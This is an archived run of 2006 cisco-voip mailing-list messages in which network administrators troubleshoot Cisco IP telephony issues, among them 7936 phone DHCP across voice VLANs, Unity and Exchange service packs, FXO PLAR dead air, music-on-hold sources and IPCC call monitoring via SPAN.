In-Reply-To: <5d093f9a0602201537p6eb21c17w2178820103fcaaf3@mail.gmail.com>
Message-ID: <20060221003159.49831.qmail@web34307.mail.mud.yahoo.com>

How many DNS servers, WINS servers are being pushed
down with DHCP? These models also had issue handling
more then 3 entries of the above. Also, as jonathan
mentioned put the port into the voice vlan altogether
if the dns/wins servers is just 1 entry. 


> > > Conference phone gets plugged into a port on the
> first voice vlan and
> > > gets an IP from the DHCP pool no problem.
> Customer moves to another
> > > switchport (same switch) configured on one of
> the other voice vlans and it
> > > takes several hours to pull a new IP. Customer
> is using a different voice
> > > vlan for each of three floors. The 7936 has the
> latest firmware but also
> > > experienced the problem on previous version.
> Also, a new conf phone has been
> > > tried with same results. Moving 7940's and
> 7960's between floors works just
> > > fine. Last test was to create reservations in
> each pool but apparently that
> > > didn't work. Anyone else seen this behavior with
> the 7936?


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From erickbe at yahoo.com  Mon Feb 20 19:38:06 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb 20 19:38:24 2006
Subject: [cisco-voip] Exchange Service Packs
In-Reply-To: <c6f32ce40602201508t195828a9ke57e158545a85197@mail.gmail.com>
Message-ID: <20060221003806.62353.qmail@web34313.mail.mud.yahoo.com>

Below is the page you want. From my experience, you
will need the latest permissions wizard and run it and
may need to update unity with some ES's depending on
your setup perhaps. You may want to update unity to
4.1(1) first. 

http://www.cisco.com/univercd/cc/td/doc/product/voice/c_unity/cmptblty/msupdate.htm

Note, this in the above:

Caution Before you install Windows Server 2003 Service
Pack 1 on the Cisco Unity server(s) and on the partner
Exchange 2003 server, you may need to install a Cisco
Unity engineering special or run the latest version of
the Cisco Unity Permissions wizard. For more
information, refer to the tech note Windows 2003 SP 1
Causes Cisco Unity 4.0(4) and 4.0(5) to Lose
Communication with Exchange 2003 at 
http://www.cisco.com/warp/public/788/AVVID/unity-install-windows-server2003.html.


--- Adam Blomfield <adam.blomfield at gmail.com> wrote:

> I am currently running Cisco Unity 4.0 Build 4.0(3)
> SR 1 in unified
> messaging mode connected to an Exchange 2003
> infrastructure. The
> Exchange servers are currently running Windows 2003
> without any
> service packs and Exchange 2003 without any service
> packs. I would
> like to upgrade to Windows 2003 SP1 and Exchange
> 2003 SP2. Is this an
> acceptable thing to do with Unity? Are there any
> caveats or work
> arounds that I should be aware of? I tried searching
> on CCO, but
> couldn't find a definitive answer... however their
> search engine and I
> frequently don't get along!
> 
> Thanks,
> Adam
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From jim at tgasolutions.com  Mon Feb 20 20:25:20 2006
From: jim at tgasolutions.com (Jim McBurnett)
Date: Mon Feb 20 20:27:06 2006
Subject: [cisco-voip] Ok.. This is weird
Message-ID: <D2BBAE709B4D874DAC556C7EB9D938FC0DB83B@exchange.TGASolutions.local>

Ok, 
Before I call TAC, I wanted a little sanity check...

SRST router configured with 2 FXO ports 2801
Running 12.4(3b)
Both are configured to PLAR OPX to a Call Manager IP address with MGCP
The router is registered to CCM via MGCP and the number on the ports
match the attendant DN that is programmed.
The ports are in the CSS as the DN's they OPX to and the MGCP debugs
show the call is sent to CM and acknowledged.

MGCP has be removed and readded on the router.

The incoming call Picks up and show voice call summary shows call
connected but I get dead air and it does not ring on the IP phones that
have this extension. There are phones all over this field office that
have this exception.

Setup is real simple:

voice-port 0/2/0
 connection plar opx 6100

!
voice-port 0/2/1
 connection plar opx 6101
 
dial-peer voice 600 pots
 service mgcpapp
 port 0/2/0
!
dial-peer voice 6000 pots
 service mgcpapp
 port 0/2/1
!
dial-peer voice 1000000 pots
 preference 1
 destination-pattern 9T
 no digit-strip
 port 0/2/0
!
dial-peer voice 2000000 pots
 preference 2
 destination-pattern 9T
 no digit-strip
 port 0/2/1 


I took the following off the voice ports to test:
 supervisory disconnect dualtone mid-call
 output attenuation 6
 timeouts call-disconnect 5
 timeouts wait-release 5
 timing hookflash-out 50 

Any thoughts???

Thanks,
J


From jgrace at digitelusa.net  Mon Feb 20 22:57:10 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb 20 22:58:58 2006
Subject: [cisco-voip] (no subject)
Message-ID: <SUWCL18IP01fcxYy5JY000089a9@smtpoutcl18.wirelesssyncvzw.net>

how do you config  the 7 encrypt
When we try to config  the line vty 0 4 
We are unable to do password 7 mypassword

From pwalenta at wi.rr.com  Mon Feb 20 23:06:18 2006
From: pwalenta at wi.rr.com (pwalenta@wi.rr.com)
Date: Mon Feb 20 23:06:24 2006
Subject: [cisco-voip] (no subject)
Message-ID: <109758c109809f.109809f109758c@rdc-kc.rr.com>

If you have "service password-encryption" on, you can just type
"password <password>" and it will auto-encrypt.

----- Original Message -----
From: James Grace <jgrace at digitelusa.net>
Date: Monday, February 20, 2006 9:57 pm
Subject: [cisco-voip] (no subject)

> how do you config  the 7 encrypt
> When we try to config  the line vty 0 4 
> We are unable to do password 7 mypassword
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 

From james.dust at charles-stanley.co.uk  Tue Feb 21 06:52:29 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Tue Feb 21 06:52:42 2006
Subject: [cisco-voip] Music on Hold
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6D58@CSEXCH01.charles-stanley.co.uk>

We currently only have one Music on hold audio source for our call
manager cluster which every device pool is using.
 
We have been asked to find out if it is possible to have a different
music on hold audio source for every device pool of which we currently
have 15.
 
Has anyone else had this running and is there a limit on how many you
can have?
 
James Dust
Network & Communications
Charles Stanley & Co.
25 Luke Street, London EC2A 4AR
Tel: 020-7953 2314 - Fax: 020-7150 9314
www.charles-stanley.co.uk <blocked::http://www.charles-stanley.co.uk/>  
 
***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
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You acknowledge that e-mails are not secure and you accept the risk of
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************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
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This footnote also confirms that this email message has been swept by McAfee
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From mfa at crec.ifas.ufl.edu  Tue Feb 21 07:44:02 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Tue Feb 21 07:44:08 2006
Subject: [cisco-voip] 7936 DHCP issue
References: <200602202242.k1KMgEnk051127@puck.nether.net>
Message-ID: <022301c636e4$7f267cf0$0402a8c0@crec.ifas.ufl.edu>

It sounds like the 7936 doesn't completely understand DHCP.   If you unplug 
the 7936 and reconnect to the same VLAN (perhaps thru a different 
switchport, if possible) does it come up OK with the same IP address it had 
before?  If so, try unplugging it and removing that address from the DHCP 
pool, and see if the 7936 can get another IP from the same pool.  Then, try 
the other VLAN; these test should identify the point in the DHCP handshake 
where it breaks.  Also, what is your lease time -- how does that compare 
with the "several hours" it takes to acquire a new IP on the 2nd VLAN?  If 
you can sniff the switchport when the 7936 is plugged it, it would be an 
interesting trace compared with, say, a 7940 doing the same dance.  We've 
had several problems with the conference phones' initialization, but never 
pinned anything down.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL

> Date: Mon, 20 Feb 2006 15:08:24 -0600
> From: "Mike Mike" <voipermike at gmail.com>
> Subject: [cisco-voip] 7936 DHCP issue
> To: cisco-voip at puck.nether.net
> Message-ID:
> <8bbfc1f40602201308x1f224394r878602afaaa26d0b at mail.gmail.com>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Conference phone gets plugged into a port on the first voice vlan and gets
> an IP from the DHCP pool no problem. Customer moves to another switchport
> (same switch) configured on one of the other voice vlans and it takes
> several hours to pull a new IP. Customer is using a different voice vlan 
> for
> each of three floors. The 7936 has the latest firmware but also 
> experienced
> the problem on previous version. Also, a new conf phone has been tried 
> with
> same results. Moving 7940's and 7960's between floors works just fine. 
> Last
> test was to create reservations in each pool but apparently that didn't
> work. Anyone else seen this behavior with the 7936?
>
> Thanks


From Matt.Slaga at us.didata.com  Tue Feb 21 07:55:30 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Tue Feb 21 07:56:27 2006
Subject: [cisco-voip] 7936 DHCP issue
Message-ID: <C1FE15183DA37645BC0633BC604E44F0F4D9DF@USNAEXCH.na.didata.local>

Jonathon hit it on the head earlier.

On all of our installs, we hard code the port for 7935/36s and ata-186s
to the voice vlan.  If you read the Cisco documentation, it specifies
this.  There is no switch in these devices, hence it will not understand
vlan tagging.
 
Matt


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Tuesday, February 21, 2006 7:44 AM
To: cisco-voip at puck.nether.net; voipermike at gmail.com
Subject: Re: [cisco-voip] 7936 DHCP issue

It sounds like the 7936 doesn't completely understand DHCP.   If you
unplug 
the 7936 and reconnect to the same VLAN (perhaps thru a different
switchport, if possible) does it come up OK with the same IP address it
had before?  If so, try unplugging it and removing that address from the
DHCP pool, and see if the 7936 can get another IP from the same pool.
Then, try the other VLAN; these test should identify the point in the
DHCP handshake where it breaks.  Also, what is your lease time -- how
does that compare with the "several hours" it takes to acquire a new IP
on the 2nd VLAN?  If you can sniff the switchport when the 7936 is
plugged it, it would be an interesting trace compared with, say, a 7940
doing the same dance.  We've had several problems with the conference
phones' initialization, but never pinned anything down.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL

> Date: Mon, 20 Feb 2006 15:08:24 -0600
> From: "Mike Mike" <voipermike at gmail.com>
> Subject: [cisco-voip] 7936 DHCP issue
> To: cisco-voip at puck.nether.net
> Message-ID:
> <8bbfc1f40602201308x1f224394r878602afaaa26d0b at mail.gmail.com>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Conference phone gets plugged into a port on the first voice vlan and 
> gets an IP from the DHCP pool no problem. Customer moves to another 
> switchport (same switch) configured on one of the other voice vlans 
> and it takes several hours to pull a new IP. Customer is using a 
> different voice vlan for each of three floors. The 7936 has the latest

> firmware but also experienced the problem on previous version. Also, a

> new conf phone has been tried with same results. Moving 7940's and 
> 7960's between floors works just fine.
> Last
> test was to create reservations in each pool but apparently that 
> didn't work. Anyone else seen this behavior with the 7936?
>
> Thanks

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

-----------------------------------------
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This e-mail communication and any attachments may contain
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designated addressee(s) named above only.  If you are not the
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notify us immediately by replying to this message and deleting it
from your computer. Thank you.



From ealeatherman at gmail.com  Tue Feb 21 08:29:59 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Tue Feb 21 08:30:05 2006
Subject: [cisco-voip] Music on Hold
In-Reply-To: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6D58@CSEXCH01.charles-stanley.co.uk>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6D58@CSEXCH01.charles-stanley.co.uk>
Message-ID: <94a1afde0602210529y79b01471h8b6420f0908ce5b5@mail.gmail.com>

Hi James,

CallManager will let you configure up to 50 MoH audio sources plus 1 fixed
audio source. So you could easily have 15 different ones for your different
device pools - as long as they are pre-recorded I suppose.

You can get around those constraints by using multicast and kinda tricking
callmanager a little.

Ed

On 2/21/06, James Dust <james.dust at charles-stanley.co.uk> wrote:
>
> We currently only have one Music on hold audio source for our call manager
> cluster which every device pool is using.
>
> We have been asked to find out if it is possible to have a different music
> on hold audio source for every device pool of which we currently have 15.
>
> Has anyone else had this running and is there a limit on how many you can
> have?
>
>  *James Dust
> **Network & Communications*
> *Charles Stanley & Co.*
> 25 Luke Street, London EC2A 4AR
> Tel: 020-7953 2314 - Fax: 020-7150 9314
> www.charles-stanley.co.uk
>
>
>
>
>
> ***********************************************************************************************
>
>
> The information contained in this e-mail is strictly confidential, some or all
> of which may be legally privileged. It is for the intended recipient only.
>
> Access to this e-mail by any other person is prohibited. If you are not the
>
> intended recipient, any use, disclosure, copying, printing, distribution of,
> replying to or any action taken or omitted to be taken in reliance on this
>
> e-mail, is prohibited and may be unlawful. Please contact the sender immediately
> should this e-mail have been incorrectly addressed or transmitted.
>
>
> You accept that any instructions are deemed to have been given at the time the
> recipient(s) accesses them and that delivery receipt does not constitute
>
> acknowledgement or receipt by the intended recipient(s). You accept that there
> may be a delay in processing the instructions received from e-mails after
>
> Charles Stanley has received them. You are advised that urgent, time sensitive
> and confidential communications should not be sent by e-mail.
>
> You acknowledge that e-mails are not secure and you accept the risk of
> malfunction, viruses, unauthorised interference, mis-delivery or delay.
>
> ************************************************************************************************
>
>
> Charles Stanley & Co. Ltd
> Registered Office: 25 Luke Street London EC2A 4AR
>
> Tel: 0207 739 8200 Fax: 0207 739 7798
> Registered in England No. 1903304
>
>
> Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd
>
>
> Authorised and Regulated by the Financial Services Authority, Member of the
>
> London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
> Options Exchange.
>
>
> This footnote also confirms that this email message has been swept by McAfee
> VirusScan and SurfControl Email Filter software.
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From ealeatherman at gmail.com  Tue Feb 21 08:39:44 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Tue Feb 21 08:39:47 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager
	(in CM not connected, but can still ping/http)
In-Reply-To: <f1b65f880602180936p5dd2ab76r6b635734b49d6e7a@mail.gmail.com>
References: <f1b65f880602180936p5dd2ab76r6b635734b49d6e7a@mail.gmail.com>
Message-ID: <94a1afde0602210539r2ab4b9eeg17d8f97963661d32@mail.gmail.com>

Thanks for posting this, never knew it existed. Will be very handy I think!

Is there a way to get the web browser to display the image from a 7960
directly? right now I had to save it as a *.cip file and load it in the
imageviewer that came with the ip phones SDK.

On 2/18/06, Justin Steinberg <jsteinberg at gmail.com> wrote:
>
> I'd be interested to see what's on the phone screen.  Try to get a
> screenshot via:
>
> http://<phone ip>/CGI/Screenshot
>
> You'll be prompted for credentials for a DC directory user who is
> associated with your phone's MAC.  Of course, if your phone can not
> communicate with the authentication URL this won't work.
>
> Or as Mike said, you could just ask the Maid what's on the phone screen.
>
> Justin
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From brainwhistler at yahoo.com  Tue Feb 21 09:14:02 2006
From: brainwhistler at yahoo.com (Brain Whistler)
Date: Tue Feb 21 09:14:11 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <20060221141402.78549.qmail@web37302.mail.mud.yahoo.com>

Hi,

I am running Cisco IPCC Express 3.5.(2) Enhanced
edition for contact centre with CCM 4.0.(1). This is
installed on Dedicated machine where CRA Server, VoIP
Monitor and Historical Reporting is co-resident. I
have configured two nic cards as described in
Administration guides.

Everything is working fine but when is the Supervisor
goes for call recording or Silient Monitor is doesn't
work, although I can see a file created of the
recording of 46 bytes in the folder 

c:\program files\cisco\Desktop_config\Audiofiles\, but
nothing more than that. 

Note that I have already configured the switch for
SPAN. I have verified my configuration with IRIS
sniffer, it is working perfectly and capturing RTP
packets but cannot get this successful on IPCC VoIP
Monitor. 

Can anyone help me in it, where I am failing, or does
VoIP Monitor server need to be configured from which
NIC to capture RTP packets.

Thanks
Brain


__________________________________________________
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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From jonvoip at gmail.com  Tue Feb 21 10:38:56 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Tue Feb 21 10:38:59 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060221141402.78549.qmail@web37302.mail.mud.yahoo.com>
References: <20060221141402.78549.qmail@web37302.mail.mud.yahoo.com>
Message-ID: <5d093f9a0602210738w42f6c8afk961556b64e03f2e6@mail.gmail.com>

The files are 0K right?

That's because IPCC sees the call, it just isn't getting data.

You need to span all of your agents ports to the monitor port:

monitor session 1 source | destination... blah blah

Make sure you include ALL the agent and supervisor ports.



Jonathan



On 2/21/06, Brain Whistler <brainwhistler at yahoo.com> wrote:
>
> Hi,
>
> I am running Cisco IPCC Express 3.5.(2) Enhanced
> edition for contact centre with CCM 4.0.(1). This is
> installed on Dedicated machine where CRA Server, VoIP
> Monitor and Historical Reporting is co-resident. I
> have configured two nic cards as described in
> Administration guides.
>
> Everything is working fine but when is the Supervisor
> goes for call recording or Silient Monitor is doesn't
> work, although I can see a file created of the
> recording of 46 bytes in the folder
>
> c:\program files\cisco\Desktop_config\Audiofiles\, but
> nothing more than that.
>
> Note that I have already configured the switch for
> SPAN. I have verified my configuration with IRIS
> sniffer, it is working perfectly and capturing RTP
> packets but cannot get this successful on IPCC VoIP
> Monitor.
>
> Can anyone help me in it, where I am failing, or does
> VoIP Monitor server need to be configured from which
> NIC to capture RTP packets.
>
> Thanks
> Brain
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
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> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From jonvoip at gmail.com  Tue Feb 21 10:41:08 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Tue Feb 21 10:41:11 2006
Subject: [cisco-voip] Music on Hold
In-Reply-To: <94a1afde0602210529y79b01471h8b6420f0908ce5b5@mail.gmail.com>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6D58@CSEXCH01.charles-stanley.co.uk>
	<94a1afde0602210529y79b01471h8b6420f0908ce5b5@mail.gmail.com>
Message-ID: <5d093f9a0602210741h2ae9fff7w1b373654e1e60d30@mail.gmail.com>

Trick how?

I guess you could specify a Multicast source and use a PC to stream to the
address...


J

On 2/21/06, Ed Leatherman <ealeatherman at gmail.com> wrote:
>
> Hi James,
>
> CallManager will let you configure up to 50 MoH audio sources plus 1 fixed
> audio source. So you could easily have 15 different ones for your different
> device pools - as long as they are pre-recorded I suppose.
>
> You can get around those constraints by using multicast and kinda tricking
> callmanager a little.
>
> Ed
>
> On 2/21/06, James Dust < james.dust at charles-stanley.co.uk> wrote:
>
> > We currently only have one Music on hold audio source for our call
> > manager cluster which every device pool is using.
> >
> > We have been asked to find out if it is possible to have a different
> > music on hold audio source for every device pool of which we currently have
> > 15.
> >
> > Has anyone else had this running and is there a limit on how many you
> > can have?
> >
> >  *James Dust
> > **Network & Communications*
> > *Charles Stanley & Co.*
> > 25 Luke Street, London EC2A 4AR
> > Tel: 020-7953 2314 - Fax: 020-7150 9314
> > www.charles-stanley.co.uk
> >
> >
> >
> >
> >
> > ***********************************************************************************************
> >
> >
> > The information contained in this e-mail is strictly confidential, some or all
> >
> > of which may be legally privileged. It is for the intended recipient only.
> >
> > Access to this e-mail by any other person is prohibited. If you are not the
> >
> > intended recipient, any use, disclosure, copying, printing, distribution of,
> >
> > replying to or any action taken or omitted to be taken in reliance on this
> >
> > e-mail, is prohibited and may be unlawful. Please contact the sender immediately
> > should this e-mail have been incorrectly addressed or transmitted.
> >
> >
> > You accept that any instructions are deemed to have been given at the time the
> > recipient(s) accesses them and that delivery receipt does not constitute
> >
> > acknowledgement or receipt by the intended recipient(s). You accept that there
> >
> > may be a delay in processing the instructions received from e-mails after
> >
> > Charles Stanley has received them. You are advised that urgent, time sensitive
> > and confidential communications should not be sent by e-mail.
> >
> > You acknowledge that e-mails are not secure and you accept the risk of
> > malfunction, viruses, unauthorised interference, mis-delivery or delay.
> >
> > ************************************************************************************************
> >
> >
> > Charles Stanley & Co. Ltd
> > Registered Office: 25 Luke Street London EC2A 4AR
> >
> > Tel: 0207 739 8200 Fax: 0207 739 7798
> > Registered in England No. 1903304
> >
> >
> > Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd
> >
> >
> > Authorised and Regulated by the Financial Services Authority, Member of the
> >
> > London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
> > Options Exchange.
> >
> >
> > This footnote also confirms that this email message has been swept by McAfee
> > VirusScan and SurfControl Email Filter software.
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
>
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From Scott.Voll at wesd.org  Tue Feb 21 10:41:56 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 21 10:42:07 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1658@VISHNU.wesd.org>

Are you licensed for VoIP monitoring?

Is this going across more then one switch?  If so, do you have RSPAN
configured?

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Brain Whistler
Sent: Tuesday, February 21, 2006 6:14 AM
To: Cisco Voip
Subject: [cisco-voip] IPCC VoIP Monitor

Hi,

I am running Cisco IPCC Express 3.5.(2) Enhanced
edition for contact centre with CCM 4.0.(1). This is
installed on Dedicated machine where CRA Server, VoIP
Monitor and Historical Reporting is co-resident. I
have configured two nic cards as described in
Administration guides.

Everything is working fine but when is the Supervisor
goes for call recording or Silient Monitor is doesn't
work, although I can see a file created of the
recording of 46 bytes in the folder 

c:\program files\cisco\Desktop_config\Audiofiles\, but
nothing more than that. 

Note that I have already configured the switch for
SPAN. I have verified my configuration with IRIS
sniffer, it is working perfectly and capturing RTP
packets but cannot get this successful on IPCC VoIP
Monitor. 

Can anyone help me in it, where I am failing, or does
VoIP Monitor server need to be configured from which
NIC to capture RTP packets.

Thanks
Brain


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Tue Feb 21 10:42:41 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 21 10:42:50 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1659@VISHNU.wesd.org>

And VGW.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan
Charles
Sent: Tuesday, February 21, 2006 7:39 AM
To: Brain Whistler
Cc: Cisco Voip
Subject: Re: [cisco-voip] IPCC VoIP Monitor

 

The files are 0K right?

That's because IPCC sees the call, it just isn't getting data.

You need to span all of your agents ports to the monitor port:

monitor session 1 source | destination... blah blah 

Make sure you include ALL the agent and supervisor ports.



Jonathan




On 2/21/06, Brain Whistler < brainwhistler at yahoo.com
<mailto:brainwhistler at yahoo.com> > wrote:

Hi,

I am running Cisco IPCC Express 3.5.(2) Enhanced 
edition for contact centre with CCM 4.0.(1). This is
installed on Dedicated machine where CRA Server, VoIP
Monitor and Historical Reporting is co-resident. I
have configured two nic cards as described in
Administration guides. 

Everything is working fine but when is the Supervisor
goes for call recording or Silient Monitor is doesn't
work, although I can see a file created of the
recording of 46 bytes in the folder

c:\program files\cisco\Desktop_config\Audiofiles\, but 
nothing more than that.

Note that I have already configured the switch for
SPAN. I have verified my configuration with IRIS
sniffer, it is working perfectly and capturing RTP
packets but cannot get this successful on IPCC VoIP 
Monitor.

Can anyone help me in it, where I am failing, or does
VoIP Monitor server need to be configured from which
NIC to capture RTP packets.

Thanks
Brain


__________________________________________________ 
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
cisco-voip mailing list 
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

 

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From akoul at dataways.gr  Tue Feb 21 10:47:30 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Tue Feb 21 10:47:58 2006
Subject: [cisco-voip] 7941 not supported by CME but supported by SRST
Message-ID: <43FB3612.2080106@dataways.gr>

Hi all,
how is it possible that the 7941 Phones, are not supported by the CME 
3.4 (or whatever version) but are supported by SRST?
Is this going to change in the future?
I have an implementation with CME, i have ordered the 7941 because i 
thought it would be OK, but now i cannot make them register and get a 
DN. In fact, they get registered in the CME 3.4 but cannot get any 
Directory Number!!

Regards,
Anthony

From mfa at crec.ifas.ufl.edu  Tue Feb 21 11:26:57 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Tue Feb 21 11:46:30 2006
Subject: [cisco-voip] 7936 DHCP issue
References: <200602211330.k1LDU4Cb076461@puck.nether.net>
Message-ID: <002901c63706$591ca9e0$0402a8c0@crec.ifas.ufl.edu>

Odd.  (Of course, I haven't read the documentation...)  On our 2900 and 3500 
switches we configure the switchports as trunks, specifying the voice and 
native VLANs; on the 3750s we identify the voice VLAN and an access VLAN for 
the non-voice stuff.  7935, 7936 and 7910 (all without switches) work fine 
on both.  As I understood it, the phone identifies itself as such (via CDP) 
at startup, and the switch associates it with the voice VLAN.  I'll read the 
docs and sniff these on startup when I get a spare moment (hah!).

Mike
> Date: Tue, 21 Feb 2006 07:55:30 -0500
> From: "Matt Slaga \(US\)" <Matt.Slaga at us.didata.com>
> Subject: RE: [cisco-voip] 7936 DHCP issue
> To: "Mike Armstrong" <mfa at ufl.edu>, <cisco-voip at puck.nether.net>,
> <voipermike at gmail.com>
> Message-ID:
> <C1FE15183DA37645BC0633BC604E44F0F4D9DF at USNAEXCH.na.didata.local>
> Content-Type: text/plain; charset="us-ascii"
>
> Jonathon hit it on the head earlier.
>
> On all of our installs, we hard code the port for 7935/36s and ata-186s
> to the voice vlan.  If you read the Cisco documentation, it specifies
> this.  There is no switch in these devices, hence it will not understand
> vlan tagging.
>
> Matt


From lelio at uoguelph.ca  Tue Feb 21 11:47:47 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Tue Feb 21 11:47:51 2006
Subject: [cisco-voip] 7936 DHCP issue
References: <200602211330.k1LDU4Cb076461@puck.nether.net>
	<002901c63706$591ca9e0$0402a8c0@crec.ifas.ufl.edu>
Message-ID: <00b301c63706$8b519970$30196883@cfs.uoguelph.ca>

We to use our 7935/7936 with trunk ports and move them around from place to place. No problem at all.

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Mike Armstrong 
  To: cisco-voip at puck.nether.net 
  Sent: Tuesday, February 21, 2006 11:26 AM
  Subject: Re: [cisco-voip] 7936 DHCP issue


  Odd.  (Of course, I haven't read the documentation...)  On our 2900 and 3500 
  switches we configure the switchports as trunks, specifying the voice and 
  native VLANs; on the 3750s we identify the voice VLAN and an access VLAN for 
  the non-voice stuff.  7935, 7936 and 7910 (all without switches) work fine 
  on both.  As I understood it, the phone identifies itself as such (via CDP) 
  at startup, and the switch associates it with the voice VLAN.  I'll read the 
  docs and sniff these on startup when I get a spare moment (hah!).

  Mike
  > Date: Tue, 21 Feb 2006 07:55:30 -0500
  > From: "Matt Slaga \(US\)" <Matt.Slaga at us.didata.com>
  > Subject: RE: [cisco-voip] 7936 DHCP issue
  > To: "Mike Armstrong" <mfa at ufl.edu>, <cisco-voip at puck.nether.net>,
  > <voipermike at gmail.com>
  > Message-ID:
  > <C1FE15183DA37645BC0633BC604E44F0F4D9DF at USNAEXCH.na.didata.local>
  > Content-Type: text/plain; charset="us-ascii"
  >
  > Jonathon hit it on the head earlier.
  >
  > On all of our installs, we hard code the port for 7935/36s and ata-186s
  > to the voice vlan.  If you read the Cisco documentation, it specifies
  > this.  There is no switch in these devices, hence it will not understand
  > vlan tagging.
  >
  > Matt

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From jsteinberg at gmail.com  Tue Feb 21 11:49:03 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Tue Feb 21 11:49:05 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager
	(in CM not connected, but can still ping/http)
In-Reply-To: <94a1afde0602210539r2ab4b9eeg17d8f97963661d32@mail.gmail.com>
References: <f1b65f880602180936p5dd2ab76r6b635734b49d6e7a@mail.gmail.com>
	<94a1afde0602210539r2ab4b9eeg17d8f97963661d32@mail.gmail.com>
Message-ID: <f1b65f880602210849kccda47bgdfd746b316af9145@mail.gmail.com>

The IP phones SDK has an asp script that does this trick.  It's called
'screenshot' and prompts for phone ip, username, and password and
outputs the gif.

Justin

On 2/21/06, Ed Leatherman <ealeatherman at gmail.com> wrote:
> Thanks for posting this, never knew it existed. Will be very handy I think!
>
> Is there a way to get the web browser to display the image from a 7960
> directly? right now I had to save it as a *.cip file and load it in the
> imageviewer that came with the ip phones SDK.
>
